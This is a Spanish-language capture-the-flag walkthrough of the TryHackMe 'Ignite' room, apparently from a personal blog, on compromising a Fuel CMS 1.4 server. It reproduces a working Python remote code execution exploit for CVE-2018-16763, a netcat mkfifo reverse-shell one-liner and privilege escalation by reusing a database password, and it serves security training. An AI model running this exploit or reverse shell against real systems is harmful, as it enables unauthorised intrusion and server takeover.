Inicio Try Hack Me - Ignite - Writeup
Entrada
Cancelar

Try Hack Me - Ignite - Writeup

En esta guía vamos a resolver el room Ignite de THM creado por DarkStar7471 en el que nos aprovecharemos de un CMS vulnerable para obtener acceso y escalar privilegios.

Dentro música.

Inicio

En este caso, la información disponible en el room es nula, así que iniciamos la máquina y enumeramos con nmap.

Enumeración

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ RIP=10.10.254.226

┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ nmap -sC -sV $RIP
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-20 16:36 CEST
Nmap scan report for 10.10.254.226
Host is up (0.077s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
| http-robots.txt: 1 disallowed entry
|_/fuel/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.82 seconds

Significado de las flags:

  • -sC : devuelve información sobre la versión de los servicios corriendo en los puertos abiertos.
  • -sV : realiza un escaneo utilizando el conjunto de scripts por defecto de nmap.

El volcado de nmap nos cuenta que tenemos el puerto 80/tcp con un servicio http escuchando. También nos brinda información sobre un directorio exluido en el fichero robot.txt.

Cargamos la IP en el navegador y nos muestra lo siguiente:

Lo que tenemos aquí es una implementación de Fuel CMS en la versión 1.4.

Toca buscar si exite algún exploit conocido para nuestro nuevo amigo. Para ello nos vamos a Exploit Database y encontramos esto: un script en python que nos permite ejecutar código remoto.

Lo copiamos y lo guardamos en nuestro directorio de trabajo con el nombre ignite.py .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Exploit Title: fuel CMS 1.4.1 - Remote Code Execution (1)
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

import requests
import urllib

url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = raw_input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
	proxy = {"http":"http://127.0.0.1:8080"}
	r = requests.get(burp0_url, proxies=proxy)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print r.text[0:dup]

Le echamos un ojo y vemos que hay un par de cosas que modificar.

  • El valor de la variable url  debe ser el de nuestro servidor remoto.

  • La función raw_input()  ha sido renombrada como input()  en python3.

  • La variable proxy  no la necesitamos.

  • La función print  hay que reescribirla para python3.

Tras los cambios, el fichero ignite.py  nos queda tal que así:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import urllib

url = "http://10.10.254.226"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
	xxxx = input('cmd:')
	burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"

	r = requests.get(burp0_url)

	html = "<!DOCTYPE html>"
	htmlcharset = r.text.find(html)

	begin = r.text[0:20]
	dup = find_nth_overlapping(r.text,begin,2)

	print(r.text[0:dup])

Lo ejecutamos a ver si funciona

1
2
3
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ python3 ignite.py
cmd:

OK. Aprovechando que podemos ejecutar comandos en el servidor remoto, vamos a pedirle que se conecte a nuestra máquina local via netcat al puerto 4433. Para eso utilizamos el siguiente código.

1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <TUNEL_IP> 4433 > /tmp/f

Donde <TUNEL_IP>  es la IP con la que nuestro equipo se conecta a THM via VPN. Para saber cuál es podemos ejecutar ip a  en nuestro terminal y echar un ojo a la interface tun0.

Abrimos un nuevo terminal en nuestra máquina y ponemos a escuchar a nc.

1
2
3
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ nc -lvp 4433
listening on [any] 4433 ...

Copiamos el código anterior y lo pegamos en el terminal donde hemos lanzado el script en python.

1
2
3
4
5
6
7
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ python3 ignite.py
cmd:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.18.xx.xx 4433 > /tmp/f
Traceback (most recent call last):
  File "/home/ewan67/Documents/Cybersecurity/THM/Ignite/ignite.py", line 14, in <module>
    burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
AttributeError: module 'urllib' has no attribute 'quote'

Malo. Buscamos el error en internet y damos con esto.

Toca modificar el fichero.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import urllib.parse

url = "http://10.10.254.226"
def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start

while 1:
        xxxx = input('cmd:')
        burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx
)+"%27%29%2b%27"

        r = requests.get(burp0_url)

        html = "<!DOCTYPE html>"
        htmlcharset = r.text.find(html)

        begin = r.text[0:20]
        dup = find_nth_overlapping(r.text,begin,2)

        print(r.text[0:dup])

Repetimos.

1
2
3
4
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ python3 ignite.py
cmd:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.18.xx.xx 4433 > /tmp/f

De momento OK. Nos vamos al terminal donde tenemos escuchando a netcat y esperamos unos segundos.

1
2
3
4
5
6
7
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ nc -lvp 4433
listening on [any] 4433 ...
10.10.254.226: inverse host lookup failed: Unknown host
connect to [10.18.xx.xx] from (UNKNOWN) [10.10.254.226] 55288
/bin/sh: 0: can't access tty; job control turned off
$ 

Se hizo la magia. Upgradeamos la shell que tenemos a bash con el comando:

1
python -c 'import pty; pty.spawn("/bin/bash")'

Y nos ponemos a trastear.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ nc -lvp 4433
listening on [any] 4433 ...
10.10.254.226: inverse host lookup failed: Unknown host
connect to [10.18.xx.xx] from (UNKNOWN) [10.10.254.226] 55288
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ cd /home
cd /home
www-data@ubuntu:/home$ ls
ls
www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls
ls
flag.txt
www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
<MODIFICADO>
www-data@ubuntu:/home/www-data$

Tenemos la primer flag.

Escalado de privilegios

Después de probar varias cosas sin éxito me doy de narices con el siguiente párrafo de la home del CMS.

Después de crear la base de datos, cambie la configuración de la base de datos que se encuentra en fuel/application/config/database.php para incluir su nombre de host (por ejemplo, localhost), nombre de usuario, contraseña y la base de datos para que coincida con la nueva base de datos que ha creado.


Vamos para allí.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/THM/Ignite]
└─$ nc -lvp 4433
listening on [any] 4433 ...
[...]
www-data@ubuntu:/home/www-data$
www-data@ubuntu:/home/www-data$ cd /var/www/html/fuel/application/config
cd /var/www/html/fuel/application/config
www-data@ubuntu:/var/www/html/fuel/application/config$ ls
ls
MY_config.php        constants.php      google.php     profiler.php
MY_fuel.php          custom_fields.php  hooks.php      redirects.php
MY_fuel_layouts.php  database.php       index.html     routes.php
MY_fuel_modules.php  doctypes.php       memcached.php  smileys.php
asset.php            editors.php        migration.php  social.php
autoload.php         environments.php   mimes.php      states.php
config.php           foreign_chars.php  model.php      user_agents.php
www-data@ubuntu:/var/www/html/fuel/application/config$ cat /var/www/html/fuel/application/config/database.php
<$ cat /var/www/html/fuel/application/config/database.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

/*
| -------------------------------------------------------------------
| DATABASE CONNECTIVITY SETTINGS
| -------------------------------------------------------------------
| This file will contain the settings needed to access your database.
|
| For complete instructions please consult the 'Database Connection'
| page of the User Guide.
|
| -------------------------------------------------------------------
| EXPLANATION OF VARIABLES
| -------------------------------------------------------------------
|
[...]
|
| The $active_group variable lets you choose which connection group to
| make active.  By default there is only one group (the 'default' group).
|
| The $query_builder variables lets you determine whether or not to load
| the query builder class.
*/
$active_group = 'default';
$query_builder = TRUE;

$db['default'] = array(
        'dsn'   => '',
        'hostname' => 'localhost',
        'username' => 'root',
        'password' => '<MODIFICADO>',
        'database' => 'fuel_schema',
        'dbdriver' => 'mysqli',
        'dbprefix' => '',
        'pconnect' => FALSE,
        'db_debug' => (ENVIRONMENT !== 'production'),
        'cache_on' => FALSE,
        'cachedir' => '',
        'char_set' => 'utf8',
        'dbcollat' => 'utf8_general_ci',
        'swap_pre' => '',
        'encrypt' => FALSE,
        'compress' => FALSE,
        'stricton' => FALSE,
        'failover' => array(),
        'save_queries' => TRUE
);

// used for testing purposes
if (defined('TESTING'))
{
        @include(TESTER_PATH.'config/tester_database'.EXT);
}
www-data@ubuntu:/var/www/html/fuel/application/config$

Bingo !

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@ubuntu:/var/www/html/fuel/application/config$ su root
su root
Password: <MODIFICADO>

root@ubuntu:/var/www/html/fuel/application/config# ls
ls
asset.php          editors.php        migration.php        profiler.php
autoload.php       environments.php   mimes.php            redirects.php
config.php         foreign_chars.php  model.php            routes.php
constants.php      google.php         MY_config.php        smileys.php
custom_fields.php  hooks.php          MY_fuel_layouts.php  social.php
database.php       index.html         MY_fuel_modules.php  states.php
doctypes.php       memcached.php      MY_fuel.php          user_agents.php
root@ubuntu:/var/www/html/fuel/application/config# cd
cd
root@ubuntu:~# ls
ls
root.txt
root@ubuntu:~# cat root.txt
cat root.txt
<MODIFICADO>
root@ubuntu:~#

Nos hacemos con la flag de root y final de la peli.

Espero que esta guía os haya servido de ayuda.

Saludos he intentar ser felices.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.